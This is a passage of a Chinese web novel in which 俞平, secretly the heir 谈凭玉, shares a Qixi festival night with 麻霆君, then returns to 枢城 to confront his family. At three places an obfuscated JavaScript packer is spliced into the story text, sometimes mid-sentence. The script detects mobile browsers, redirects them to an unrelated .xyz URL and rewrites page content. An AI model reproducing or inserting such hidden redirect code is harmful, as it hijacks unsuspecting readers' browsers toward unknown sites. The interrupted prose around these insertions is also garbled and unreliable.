又道:“你怎么喜欢这种东西,一看就难吃。” 俞平笑道:“你拿去丢了吧,我保证再也不喝咖啡了,就浪费这一回。” 麻霆君起身道:“坐着别动,我再去买冰淇淋。” 他再回来时端着两杯冰淇淋,因为身材高大挺拔,在草坪一带格外瞩目,引得不少男男女女回头看他。窸窣谈话声中不少有围绕他的,俞平假装能够置之度外,顶着压力与他坐在一起。 天色渐渐暗去,冰淇淋的颜色模糊着,俞平看不清他买的什么口味,尝一口知道是草莓,不由得挑剔起来,早知道和他讲清楚不喜欢吃草莓;麻霆君吃东西时专心致志,把所有东西啃得干净,俞平不忍心多说什么,便一小勺一小勺挖着吃。 坐至华灯初上,远处高楼耸立,星星点点亮着光。俞平手中的冰淇淋更冰,化在喉咙里也是凉的,心间泛起的懵懂有些残忍:他想带麻霆君一起回家。 “嗳,霆君。”俞平看着远处,并不看他,“你什么时候来枢城开银行?” “明年年底。” 按节日算以后的日子,七夕节后是立秋,夏天就算结束了,免不了想到深秋时风刮得萧瑟,不禁也觉得夏夜是凄惨的——至于明年年底,大抵已经躺在谈公馆了。 来到鹭镇是不幸之中的万幸,能够与麻霆君一起回家,当是团圆美满的结局。头尾都敲定好了,剩下中间的路要铺,他没有求麻霆君非接受他不可,朋友、同学、邻居,也差强人意。 然则麻霆君连银行都是他们家的,必定愿意跟他走,其中有什么误会,慢慢解释也不迟,尾声必然飘扬在谈公馆。俞平心里满足着,却犯上一阵怅然若失,微风阵阵吹拂,青草不止啄着他垂下的手腕,说不清楚空虚什么。 麻霆君吃干净一袋面包,才道:“怎么关心起这个了?” 俞平不肯讲实话,堂而皇之道:“五爷待我好,给我赚外快。以后失去这份工作了,我在鹭镇落差太大,可能要去别处谋生。” 麻霆君奇怪道:“你不和我一起走吗?” 俞平怔着。麻霆君也愣一愣,发觉自己好像真没和他说过。大约当他与自己有默契,就算是猜也猜得出来,没料到他目光短浅,还是胆小?担忧在银行帮不上忙。 撇过头找放在边上的果汁,刻意避着他,道:“家里佣人都舍不得离开鹭镇,找不到愿意陪我一起去枢城的。我想你总不打算一辈子赖在布店,过了卖身契的时间,要是还想和我一起,我们重新算过。” 又道:“慢慢学么,总是一点点来的。银行要怎么经营,我也不大懂,以后应该要报商学院或者夜校,我们可以一起去。” 俞平道:“你不介意吗?” 麻霆君回过头,假借嘴里含着吸管,沉默着。俞平匆匆道:“我原先是跟四爷的,说出去太难听。郁蕙心打电话和我说过,颜少爷就是嫌这点,最近懊悔不已。你不介意吗?” “你不是和他散了吗?” “是,可是曾经……” 麻霆君开朗一笑,捏了捏他的脸颊。 “有什么好介意的?你先是俞平,再是别的身份。我才没有他们那般成见,我有自己的判断。相处小半年,我当然清楚你的品行,虽然我现在说不清楚,可你就是个好人。” 俞平早知道了,麻霆君一定喜欢他,真是两人的取向都相同,那时黏着月光交换出来的;麻霆君是审美是浅显的,他的眼光是郁蕙心寄去香岛的相片,他们就是天生一对!可他竟消沉着,一种将要分道扬镳的预感播撒在心头:他为什么不能是俞平? 谎言被一点点填,越是圆满,里面越是空心的,不过一层外壳。麻霆君要是有怜爱,尽是冲着俞平的残缺去的。他非但不是俞平,空疏的内心被麻霆君的真诚越填越破,一众哀愁淡淡萦绕着他。谈凭玉应当是孤独的,他也是孤独的。 重返孤独的日子,若是再照到今晚暮色,会不会感到生不如死? 麻霆君见他不说话,顿了顿,仰头在将暗未暗的天色中寻起月亮,感叹道:“没什么大不了的,四爷是有真本事的人物。要是能够遇见,说不定我也很钦佩他。” 俞平听得不对劲,像是突如其来被闷了一棍,也不伤心了,道:“不对?” 麻霆君道:“怎么不对?” 俞平道:“我记得我刚来鹭镇,你正找他,宁可不要黄金万两,也要揍他一顿。我那时觉得你十分有骨气,怎么成这样了?” 麻霆君道:“不瞒你,我确实欠修理。” 俞平愕然道:“你当时不是这么说的!” 麻霆君有些窘迫地道:“也是我不好,不小心把他的新车划了。他没叫我赔钱,就打了我一顿。买药酒能要几个钱?修他的车,可是要把我们家都卖了。” 俞平被他气笑了,道:“你和胖子他们吹嘘,是你打的他,实际是颠倒的,他打的你?” 麻霆君不如他有探究精神,丧家犬般往他身边靠了靠,耳朵倒靠在他的肩上。俞平嫌他捂上来太热,再把他推开,他死死抵赖在俞平的手心里,求饶道:“说出去不好听……我是五爷呢。” 俞平往他头上敲了敲:“有你这种人。” 远处工作人员抱出几箱子花灯,擦火柴点过后,一盏盏落在水里。七夕节的活动必然借着看花灯的名头,来到草坪上的人比写花灯的更多,有找自己写的,有打情骂俏的,有埋头许愿的。 天还没完全黑,显得花灯也不够亮堂,火苗微微烧在灯芯里,稍不留神来个水波便能全军覆没似的。俞平感到手臂被人戳了戳。 “嗳,俞平。”麻霆君温和道,“你以前不做情人的时候,在做什么?” 俞平一口咬死:“水手。” “也在枢城吗?” “枢城、香岛,都去过。” “香岛是太远了点。” “也还好,多坐几天船的事。” 麻霆君双腿支着,手肘搭在膝盖上,脸埋进臂弯里,忽然道:“我总是在想,要是能够早一点遇见你就好了,虽说现在一点也不迟。” 俞平不解地看向他,看出他露出的一抹眼神有些羞涩。末了他大抵真的害羞,轻微撇着头,长而久地盯着河面,吞吞吐吐道:“可我想多和你说一些话……我是这么想的。” 俞平含含糊糊地应着:“我们从前见过的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783487|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头往麻霆君手上拍了把,笑道:“就是货轮上那一次,我是看着你被揍的!” 麻霆君倒抽一口气:“你从一开始就知道?” 俞平笑道:“没戳穿你,是不是很仗义?” 麻霆君道:“原来我第一眼见到的是你!” 俞平应了声,不想麻霆君更加激动,冤屈道:“你当时为什么不叫我!” 俞平嫌他太大惊小怪,淡淡道:“我哪知道你是谁。” 原来!原来如此!麻霆君心头起一阵狂风骤雨,一只耳朵里锣鼓滔天,另一只却鸦雀无声:难怪他见谈凭玉与俞平,尽是如出一辙的悸动。他早早把自己定给俞平了,竟然误认为是谈凭玉,害得他思念中夹带着折磨,害他蹉跎那么多年! 俞平只涣散盯着面前的河。水面与谈公馆的砖墙如出一辙,深不见底,灯影幢幢。 谈家没有讲爱情的,有也只有他的母亲。母亲在他小时候早去了,便没有人再提;后来误打误撞见到麻霆君,够他诧异一阵,回去后唯一问过谈皎,谈皎像是没听清,多叫他重复几遍。他上了当。谈皎听清了也不肯回答,光是笑得失态,身子蜷在地板上。 贸然承认爱上了谁多么低人一等,爱情是禁忌的。男人面对女人,传宗接代,尚有一本正经的理由;男人面对男人——除去真的对麻霆君动了情,他还能找个什么搪塞? 可他真爱上麻霆君了吗?他什么都没做错,只是想要爱麻霆君而已,难免伤天害理。爱情面前,俞平有多么渺小,小到麻霆君一个眼神都不堪重负;他本该一走了之,却太累了。 天际镶着一小道白牙,他也许要在麻霆君身上躲一阵,躲到天光与月色一并掉下去,回在黑暗与阒寂之间,才能够复返回家。 草坪人声嘈杂,光是看见麻霆君倒影与自己一同歪斜着,却像是二人独处的时光,俞平再环视四周,仿佛万事万物都凝固起来,剩下一点点温吞的火苗,罩在彩色灯罩里,烘托出夏季温情的尾声。 太远的事情也牵挂不来,可这一星半点的夜晚,总归是他的。旁人瞧不见,自然不会来争夺;连并世界一同静止着,静止着,永恒若是得以计量,这一刻在俞平心目中便是永恒了。 花灯群划破水面,有一盏涂得乌七八糟的,属于麻霆君和俞玉凭。俞平正要指给他看,被他开口打断了—— “那么,你愿意给我一个机会吗?” 俞平顿时抛弃了一切,什么都不管不顾,脑海中空白一片,胡乱抓着他的词句:“什么机会?” 麻霆君回避许久,最终挡不住双重压力,轻轻笑了声,道:“我知道很唐突!你要是不愿意,过了夜,全当我没有提起过。” 俞平往他身上靠,他反而后缩,俞平便紧逼着。直到没有空隙预备给麻霆君倒,要挨在别人身上了,俞平才笑道:“你这么问我,我一定不可能答应。机会从来是抢来的,不是讨来的。何况我真正的卖身契还在谈公馆,没有再卖给你的道理。” “那就说好了。” “说好什么?” “一起去枢城。” “我要是中途反悔,想要辞职,五爷不得把我剥皮抽筋了。” “怎么会,你看我什么时候对你不好?我连说你都说不过。” “枢城走十步就有家咖啡馆,以后会不会天天喝咖啡?” “真的?” “亏本怎么办,我和你一起喝西北风吗?” “还没经营,你就这么不看好我!” “真到了这种地步,我就回谈公馆了。” “咦,有你这种人。” 花灯顺流而下,越飘越远,夜已经深了。 俞平回到布店,摸着黑上阁楼,膝盖打在桌腿,光是听见闷响,察觉不出痛。 这里原先盛放过一束洋桔梗,开谢了便簌簌散去,俞平许久没有打扫阁楼,揩了一指桌上的尘,闻出点花粉的气息。洋桔梗是苦的。 44.决意 学堂放暑假,兰香在布店快活一个多月,作业不肯好好写,就等着傍晚,胡乱吃过饭,迫不及待去外头找同学玩。俞平则按部就班地去麻公馆。 某天早晨,兰香招呼他下楼,不知道哪来的灵机一动,道:“俞平,你会不会打架?” 俞平嚼一卷糯米饭,黏得说不出话,好一阵才说:“会一点。” 兰香笑道:“不,我不该指望你的。你要是忘了,我还记得:之前五爷来布店,两下就把你打倒了。” 这话早能说了,硬要等在他说过之后,灭他的气焰;俞平闷一口气在心里,狠狠咬着糯米饭,嘴里塞得满满当当,看着也是气鼓鼓的。兰香讨了他的不高兴,自己满足起来,高兴地道:“你能不能请五爷借我用几天,过一阵子开学,叫他和我一起去学堂。” 俞平心弦绷直,却装着若无其事,道:“你也知道他是五爷,不是你使唤得动的。” 兰香道:“学堂里有人看上他了,我良心好,义务充一次红娘。” 俞平顿时失了心情,虽是饥肠辘辘,但气愤地捧着糯米饭,恨不得立刻杀去麻公馆。话又说回来,堂堂谈四爷从来都是心想事成的,哪有与别人抢夺的道理?他不想轻而易举地失了风度,再是深呼吸好一顿,平复下来,便也觉得自己实在小题大做,直至看见兰香表情—— 兰香见被他识破,哈哈大笑道:“哇,你有这么紧张!我真是瞎说的,你又是什么反应?” 俞平一颗心沉到底。他先前逗麻霆君多狠,都被兰香偿还了回来,真是一物降一物;嘴上却道:“我是噎住了。你也太唯恐天下不乱了。” “哎哟,你是五爷身旁的大红人了,你要是噎住,他连天上琼浆玉露都拿的出来。” 兰香有事找他,不想欺负他太惨,话锋一转,“肉铺大少爷石头,你认识吗?” 俞平闷闷道:“不认识。” “不认识也正常,他就是个很讨厌的人,总欺负我们女生。他是吃肉长大的!我们都打他不过,你去和他试试。” “大小姐,五爷两下就能放倒我,什么石头,我更没办法了。” “你把五爷喊过来,叫五爷和他打。” 俞平起身,收拾布包,道:“学堂能不能提前开学,你们也太无聊了。” 兰香道:“所以我们决定偷偷把他们家的葡萄摘了,就定在明天。你必须和我们一起去。不会打架,箩筐总搬得动吧?” 俞平不肯,兰香也不肯放他走,把他放进包里的东西一样样翻出来,拖延时间。争夺间跌了一只破香囊出来,东一块西一块地褪色,露着一缕缕棉花。俞平眼疾手快,立马捡了起来,宝贝似的藏在衣兜里。 “这么破的香囊,你不但留着,还带去麻公馆?”兰香数落一阵,又道,“明天必须和我们一起去偷葡萄,知道吗?” “我明天不一定在。” “爹说最近都休息,你能有什么事?” 俞平神色有些尴尬,道:“我还是时常做噩梦,向老板请了一天假去枢城,今天出发,明天晚上才能回来。” 兰香抓着不放,笑道:“咦,又是五爷带你去?” 俞平怕再受嘲笑,态度随便地道:“你怎么知道?” 兰香满脸古灵精怪,钻在他背后推他出门:“那你快去吧!不过五爷真奇怪,哪有晚上回来的?早上多么亮堂,为什么不多和你住一天?” 俞平道:“看病而已,你不要想太多了。” “哎呀,我纯洁得不得了。” 郁蕙心的车停在红门里,俞平到的时候,Wilson正下车,与他点头示意。他面色不改,敲敲驾驶位的车窗。从外面看不见里头的光景,司机大概是睡着了,又敲了一遍,车窗才微微开了一线。 “四爷!” 眼前的面孔不算熟悉也不算陌生,俞平认定自己一定见过他几面,却记不得名字。这人年纪大约与自己相仿,脸上嘟着肉,却是凶神恶煞的,手臂上无规章地刺青,黑一篇斑斓一片,像是画糊的水墨画。 他唤过一声,怕太响,又压低声音道:“四爷,我是单龙,大前年来的公馆,一直跟三少爷的。您看我面生不打紧,郁二小姐认识我。都是自己人。” 俞平点头道:“等我一会,我和他们讲过再来。” “四爷,需要我帮忙吗?” “不用。” 车窗合了上去。 ——年初时谈皎来过香岛一趟。应当是去广东看工厂,避着随从,跟船来了香岛,谋出一个计划:上一辈人年数已大,谈家易主早提上日程,而发家时真正依托的严家,近年已是强弩之末; 谈皎与谈文翡和严太太一流暗中较劲十几年,即便他们没把她放在眼里过,她却不想叫他们得逞。 谈凭玉起到一个翡翠扳指的作用,借他假死,以翡翠扳指的号召力,挟至他们退出纷争。 谈皎没有预留给他拒绝的权力,他恰是答应了。原定约在回程的枢城码头动手,他一去,便叫人劫了走,好生躲起来逍遥一阵,尘埃落定了再风光回来;不想那群人动手是在船上,真刀真枪地亮出来,逼他跳了海。 谈皎留他有用,又为什么要害他,他姑且想不明白。 可留在鹭镇终归不是长久之计,他既然答应了麻霆君,不愿再不清不白地过下去。寄给谈文翡的信早到了,谈文翡知道他活着,谈皎未必清楚他没有死;此般回枢城,先要打探一番,再决定去留。 俞平这里想得清楚,打电话叫郁蕙心安排得明白。单龙本是谈文翡的人,后来去作谈行一的保镖,郁蕙心总找谈行一玩,混得熟悉; 布店那里,凡是报麻霆君的名字,没有拒绝过他的;唯一的岔子兴许出在麻霆君身上。 他此番回去不能叫麻霆君陪着,怕麻霆君生疑,却不想贸然一五一十和他摊牌。枢城是不得不去的,俞平来的路上也没想过有什么方法,说是“见机行事”,怕是机会都找不到。 今天学生活用语。讲英文和教英文是两码事,Wilson真是个教击剑的,把麻霆君的英文课业安排得水分十足。俞平听见他们讨论着,倦地打呵欠。 休息时光,麻霆君找个借口,宣称用得惯的自来水笔丢在书房,叫俞平陪他一起去。 俞平实在不知道怎么和他开口,慢慢吞吞跟在他身后,磨着时间。 到了书房,麻霆君顺了桌面上两支笔,往回站在他跟前,光是笑着不说话。俞平心里有鬼,没好意思看他,他捏了俞平的手臂。俞平便没有冷淡他的道理了,正要捉,麻霆君又迅速往后躲了一步,笑道:“今天怎么样?” 既然如此——俞平心一横,道:“我想请个假,明天不来公馆了。” “身体不舒服吗?” “我在枢城有笔存款。四爷还没找到,谈家正焦头烂额,我想趁乱把它取出来,否则以后不好办了。” 麻霆君轻松道:“好,我陪你去?” 答应了?俞平反应不过,结巴道:“我和Wilson的车回去,不麻烦你了。” “那你怎么回来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798949|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “钱都取到了……回来的方式太多。” “真不用我陪你?” 俞平心虚道:“我是不要紧,你的银行是谈文翡手里买来的,万一他们看你眼熟,我们一个都逃不掉。” 麻霆君约莫从未往这条道上想,豁然开朗,微微张着嘴,道:“还是你周到!” 出了书房,二人分道扬镳。结束了?麻霆君相信了,就这么放他走了?俞平轻飘飘地走着,总觉得自己浮在半空中。身后脚步急一阵,麻霆君几步赶上他。俞平不免提心吊胆,却见麻霆君喀啦啦卸了手表给他,道:“要是出了事,多少能担待些。” 俞平道:“算了,也就去半天。” 麻霆君不由他反抗,抬了他的手臂,郑重把表扣在他的手腕骨上。麻霆君骨骼格外粗壮,表盘对俞平而言太大了些,余温阵阵附着,好像麻霆君牵着他。 下半堂课,俞平干脆旷了,一溜烟去楼下。单龙不敢打瞌睡,把他接了上来,欢天喜地发动了汽车。 俞平疑惑道:“就这么走了,Will怎么办?” 单龙笑道:“郁小姐还有辆旧车,派其他兄弟开了来,停在山林间。来时说好了,叫那洋人去外面自己找。” 车驶出鹭镇,俞平又操心起谈行一。谈行一好歹是唯一一个真心同他好的哥哥,他却又觉得自己太拖泥带水。拨了会靠枕,还是问道:“行一最近好吗?” 单龙答道:“好,二爷带了美国的游戏机给他,最近病也不生了。” 俞平笑了笑,道:“你就这样跑出来了,行一那里怎么交代?” “行一差遣我们跑腿,买这买那,遇上不是刚需的,耍滑的机会多,我多磨了一天出来。” “咦,就这么告诉我了?” 单龙讪讪笑道:“四爷,我今天受郁小姐之托,来接一个叫俞平的。” 俞平脸上藏着笑,撇过头看窗外,余光落在衣袖上,总是不可能一身破衣烂衫回枢城。他是不能鲁莽出现在谈公馆的,其他房产理应不少,思来想去,却好像回哪一处都不妥当。见单龙还知道耍滑,便道:“你在我们家做这么久,外头有公寓吗?” “四爷,我是光棍一条,无牵无挂,住在公馆的。” “你平时不赚外快?” “我这人没出息,有时间都去看电影了。” 只能回谈皎最初预备安顿他的公寓了;若是谈皎真想来找他解释,也不用费心思。俞平报出个地址,又道:“下午和我歇息一阵,晚上去江北郊外,谈文翡的工厂。” 单龙一概答应下来。 俞平从衣兜里摸出香囊。那香囊破旧得惨不忍睹,稍有疏忽便成一团烂线,俞平细细拆着,手表顺势向前落,绊着他拇指的动作。 香囊口子的松紧早失灵,原先靠死结绑着,他在布店讨了两针缝上去。何氏绣得结实,他扯不开,便拿银耳堵一点点刺破,倏地一声,两声,线崩开的声音,压进车胎的花纹里,一并落在地上碾碎了。 前几次和麻霆君去的不作数——枢城,当是好久不见了。 “单龙。” 才驶进一片林荫,忽明忽暗。单龙专心致志看路,冷不丁遭他吓了跳。 俞平抖了抖香囊,翡翠扳指完好无损地落在他的掌心。他拿着它在天光下照一轮,又在衣服上蹭干净,慢慢地道,“我好久不做四爷了,还不大习惯,要是哪里做得不好,你多担待。” 后视镜里,俞平——凭玉。谈凭玉隐在轿车的黑暗中,狡黠一笑。 【麻霆君篇·完】 45.追悼 谈公馆。 四少爷一连失踪小半年,头几个月里,枢城凡是有无名尸体,都要先请他们过目,此时已然不了了之。谈老爷追查爱子的心境大不如前,事务又多,顶不住压力重重,终于承认是凶多吉少,张罗给四少爷办一个追悼会。 追悼会没开起来,先要开个不正式的聚会。江北拢共两块修公馆的,凡是有头有脸的都在这里。一片滨江,另一片远在湿地旁。虽说滨江与湿地的互相看不上,邻居间却大多都认识,这天竟都来了,聚在谈公馆。 枢城最德高望重的一位道长,上山闭关不出,潜心修仙,传说他半只脚已踏进天庭,早抛了俗世,居然也被请了过来,张罗四少爷的衣冠冢。 “谈凭玉——” 道长紧闭双眼,手执拂尘,一声声喊着,“谈凭玉——” 阴云下的谈公馆更是阴森。客厅以外,公馆没开一盏灯,两个剪影落在高层玻璃窗中,黑得浓重。 那封签名信来得蹊跷,谈文翡不肯露面,自然不想去添乱;郁蕙心多少有些心虚,怕煽情处哭不出来,便陪他一起,指着楼下手指大小的人物,有认识的,知道做过什么龌龊事的,都讲给他听。 陆陆续续地来人,郁蕙心捕捉到个熟悉的,正要指给谈文翡看。讲到兴头上,语速都快不少。她指甲新染的橘粉色,像是溪水下缤纷的鹅卵石,敲着玻璃,颜色连成一道。 来了个佣人敲门:“太太请二爷下楼。” 谈文翡随口打发道:“不去了。” “是严老爷和老太太来了,特地想见二爷。” 谈文翡才肯停顿片刻,回头道:“我手头有事要忙,请他们稍等。” 严、谈两家,老一辈是亲家,新一代作仇家。郁蕙心不信他们会出现,凝神一个个数过去。谈文翡竟也不太相信,与她一起找;才看见严家真来了人,正在老爷身边交谈着,不像结过梁子。边上还有一位黑色衣裙的,必当是谈皎。 ——严太太嫁进谈家,为谈皎与严家少爷也张罗一场婚姻。然而婚礼前夕,未婚夫不幸遭被雷劈死了,尸体面目全非,只能靠残存的衣物依稀辨认。 最有科学的解释是那阵子雷暴,他们不凑巧在郊外;流言蜚语很是统一,话里话外都是谈皎克夫。 到底是谈大小姐,谈老爷不允许她平白无故遭受诋毁,想要维护,抵不过严家人多势众,便发誓老死不相往来。 郁蕙心平日交友不少,表面一派和气,背地未免全然心服口服,谈皎是例外。她对谈皎持有一种糊涂的憧憬,仔细思索过,不尽然是同性恋情节; 谈文翡正在身边,她有诸多话要问他,纠结着什么时候开口,好长一阵才道:“谈皎有再结婚吗?” “她不会结婚的。”谈文翡冷淡道,“理应来讲,她是个克过夫的寡妇,没人要和她结婚。” “你们不是姓谈?怎么还会被这些绑架着。” 沉默声里,楼下更是喧嚣。 “他没死。”谈文翡靠着玻璃窗,长发顺在肩膀上,融在外头天光。幽幽地道,“他和谈皎约好,只有他死了——” 这话说得莫名其妙,郁蕙心只茫然地看着他。他顿了顿,不再多说,单是轻蔑笑了声,道:“我前阵子看见过他。” 郁蕙心嘀咕道:“犯什么疯病。” 谈文翡低着头,松弛笑道:“我一会去见外祖父母,你留在这里?” “怎么像话?”郁蕙心道,“我去找行一了,没在楼下看见他,应当在房间吧。” “是,人多手杂的场合,他不去为好……敲门没有丫鬟应你的话,就是他在玩游戏机。” “这帮人都是披着人皮的鬼,倒是游戏纯粹。” “你弟弟呢?” “在伦敦呢。” “艺术学院后街的英国裁缝回来了,最会做西装。正好最近上了秋天的料子,你问问凭玉缺什么,我一并买了。” 郁蕙心看楼下秘密情人间眉来眼去,于他的话只是闲闲应着。良久忽然意识到自己失言,惊恐地瞪着眼睛,好久才有勇气转头面对——谈文翡阴着一张脸,道: “他在哪里?” * 年初约好钥匙埋在门口的梧桐树下,谈凭玉记得谈皎的话,又不抱希望,想要硬闯公寓。真下手前担忧动静太大,福至心灵,与单龙一道去花坛里刨一阵,居然真掏出个铁盒。旋即上楼开门。 闲置的房产纵是不住人,也派人定期维护。里头窗明几净,电灯一开,显得天气都不太昏暗。地板是深颜色的木头铺成,擦得发亮,连绵的湿气吹不到这里,一切都是凉爽、整洁的。 在这方小小天地里避世,什么都好,谈凭玉一贯鲜少有社交,熬得住寂寞。唯独缺了个麻霆君解闷,不过郁蕙心理应帮他寻到了,瓮中捉鳖的事情,多晚都不迟。 不是说他的时候!谈凭玉狠狠皱着眼睛。单龙正开过电扇后开窗,习习微风扑在他的脸上。 冰箱里放着几瓶气泡酒。谈凭玉在厨房翻了又翻,另找到一些罐头,看日期还新鲜。酒是放不坏的,食物未必。他叫来单龙,道:“你听说过这里吗?” 单龙道:“没有。” 没有?谈凭玉心里琢磨着,一路走一路摸。衣柜有三间,四季衣服摆了两间,其余是黄澄澄的金条。另加现钱与首饰,分别放在扁柜里。单龙与他一起,眼珠子险些掉在地上。 谈凭玉唯独拣了几个耳坠子,道:“等我回家,剩下的都归你。” 单龙脸都要笑烂了,还是坚持道:“四爷,这怎么好意思?” “那不给了。” “嗳,四爷……一半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809014|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半就行。” 想来也是蹊跷。虽说这些财物不及九牛一毛,谈皎能够帮他打点如此住宅,不至于中途要加害,谈凭玉一时不知如何是好。单龙看他若有所思,也不闲着,去放了洗澡水。 公寓至多一家三口居住,不算太大。谈凭玉泡澡中途起兴,要喝酒,难得直接喊,叫单龙端一杯香槟。门外犯一阵叮呤咣啷,其后单龙蹲在盥洗间前宁死不屈。谈凭玉挣扎好一阵,匆匆裹了浴巾出门,脚踩在瓷砖地,湿淋淋连成一带小溪。 正要重回浴缸,电话响了起来。 谈凭玉晃着酒杯,道:“你接。” 单龙重新过来时吓得不轻,犹豫道:“是大小姐。大小姐找你。” 电话里一模一样传来呼吸的声音,兴许谈皎也在等他。他开口试探,谈皎平淡的声音响起,没什么特别的语调: “我知道你在哪里。不要背叛我,我也不会离开你。” 听得出背景吵闹,不等谈凭玉讲话,通讯草草结束了。 谈皎总是被低估了的,虽是大小姐,却成长在唾弃中,父母恨她不是长子,严太太恨她是谈皎。 家业迟早是谈文翡的。谈凭玉清楚,做对手,谈文翡看不上他;谈文翡比他有能耐,在严家占得不小,得到的只会更多,理应比他更冷漠,谁都看不上。若非谈皎太恨,搏来入场的机会,翡翠扳指迟早归还给谈文翡,就算谈文翡大度,身后还有始终耿耿于怀的严太太; 谈凭玉自知绝非野心之流,地位、家业、偏爱,一切对他而言太唾手可得,便也没有珍惜的情感。谈皎实在太恨,他不想失了她代由抗争,从来做缩头乌龟。倒不是为图坐享其成。谈皎早看穿他了——从什么时候,他问她什么是爱情的时候,试探的种子便落地生根了? 单龙看他眼色,立刻举双手投降,嗫嚅道:“四爷,别误会我!” 谈凭玉随便地应了声。 酒瓶果真是砸开的,他唯恐喝出玻璃碴子,重新开了一瓶,却也没有泡澡的心思。淋浴越冲越倦,换完西装出来,只觉得浑身骨头被冲得散了架。 公寓钟表停摆,夜快边偏是大雨如注,光看天色分不清时间。汽车破开滂沱雨帘,到得居然比预定早一些。 工人下班回来,门卫换夜班守门,远远闻到声响,放关卡拦下他们。 “什么人,有没有预约?” 后排车窗缓缓降下,一只手伸了出来,光洁细腻,骨节分明。大拇指弯停着一只翡翠扳指,随着门口探照灯不断变化,亮了便如同绿茵茵鬼火似的,暗下来是只划过黑夜的猫眼。那门卫吓了一跳,出凉亭迎接。 “不认得我可以,扳指总认得吧。” 门卫激动道:“哎呀,四爷!” “叫谈文翡来见我。” 窗户合了上去。 46.二爷 谈凭玉在他的办公室等。不肯开灯,叫单龙点煤油灯。雨下得旺,灯受潮,亮了又灭,足足换过三盏,依然不见谈文翡来。 煤油灯静静燃着,仿佛回到了鹭镇的日子。阁楼是狭小潮湿的,闷着一股气味,此时尽然;办公室装得雅致,腐味入乡随俗成了香槟酒,接连起着泡,谈凭玉沉浮其中,遭不断冒出又破裂的气泡冷冰冰地煎着。 他还是讨厌雨。最初尚肯规距地坐在靠背椅上,时间一久也放荡起来,只占了三分之一,人懒散躺着,两只脚翘在公文桌上。皮鞋踩了水洼,印得鞋底像一带沼泽,回去便不能再穿了。 公文桌支在窗前,雨溅在窗台,胡乱砸在他半边衣袖,唯独手腕处被表盘格挡。麻霆君戴的表很不入流,他做回四爷,更是相差十万八千里。此时间隔也远,一灯荧然,冥冥间两颗心仿佛合拢在一起,不免觉得麻霆君在身边。 谈凭玉胡乱想着,忽然发觉单龙的脸上太不可思议,疑心自己犯了傻,装作不经意瞄了眼反光的黑色石台,隐约看见嘴角是上浮的,便咳了咳,撇过头去。 单龙不知道他高兴什么,也朝他笑了笑,咧一排牙齿,中间缺一颗,镶的金。 谈文翡鞋底太硬,来时一阵路踏得惊天动地。 单龙看见他,顷刻往角落缩。谈文翡不想计较,砸了皮包在桌上,道:“你和谈皎演的戏,怎么闹给我了?” “哥哥。”谈凭玉是微笑的,干脆不装严肃,道,“家里要给我开追悼会了,就当我过头七,回来看看都不行?” 谈文翡冷笑一声,左手打在裤兜里,衣摆皱起一片,扭头开了灯。 灯光下谈凭玉甚是瘆人,周遭都是深色事物,衬得他面孔白得荒唐,脸颊边上有一层薄薄的阴影,顺着优越的骨像流畅地划到下巴,其间阵阵晃着影子,便是一枚细小水滴状宝石耳坠,英式皇家蓝,若隐若现,像是落在耳畔的一滴泪。 谈文翡的眼光扫他一轮,不自然开口道:“你瘦了这么多?” “不是正合你意?省得你下手了。” “我做什么了?” “你会不知道?” 谈凭玉还是太嫩,使诈都显得格外可爱,因为他长得美,笨也讨人喜欢,好像穿大人的衣服效仿着独当一面,却总归是个小孩。谈文翡仿佛永远游刃有余,面对他的时候,满脸写着杀鸡焉用牛刀,把他什么想法都堵了回来。 “哦,你说是我想杀你。” 谈文翡上前一步,把他翘在桌上的腿掰了下来,嗤笑道,“坐没坐相,你姐姐怎么教的?” 谈凭玉两只脚砸在地上,干脆撑着扶手起身。他也知道不是谈文翡想加害,谈文翡无需如此大动干戈,又不敢相信是谈皎;心虚不少,强撑道:“不是你想害我,还有谁?” 谈文翡从容道:“那么你先告诉我,你手上戴的是谁送的。这么俗的表,你居然喜欢?” 谈凭玉道:“你先告诉我。” “不说?”谈文翡来捏他的手腕,笑道,“定情信物?” 谈凭玉隐隐怀着维护的心思,麻霆君的感情太珍贵,或是他多少不肯面对,咬牙抽回了手。 谈文翡不来计较,踱步至他身前。倏地轻松笑了笑,道:“你比我更熟悉她。” 相隔一步之遥,论身材,谈文翡好像比麻霆君都要高,长发披散在腰际,拔得愈加修长。他无论如何比不过谈文翡,只在十八年前赢过一会。 ——谈文翡的名字最初的释义自“文采斐然”,严家交来的。严家阔绰久了,必要时刻也需附庸风雅,以此再高出其余富贵门户一层。老爷借他名字的缘故,托付翡翠扳指给他,便成了“文翡”;十八年前谈凭玉出生,谈文翡姓名的意义至此失去了。 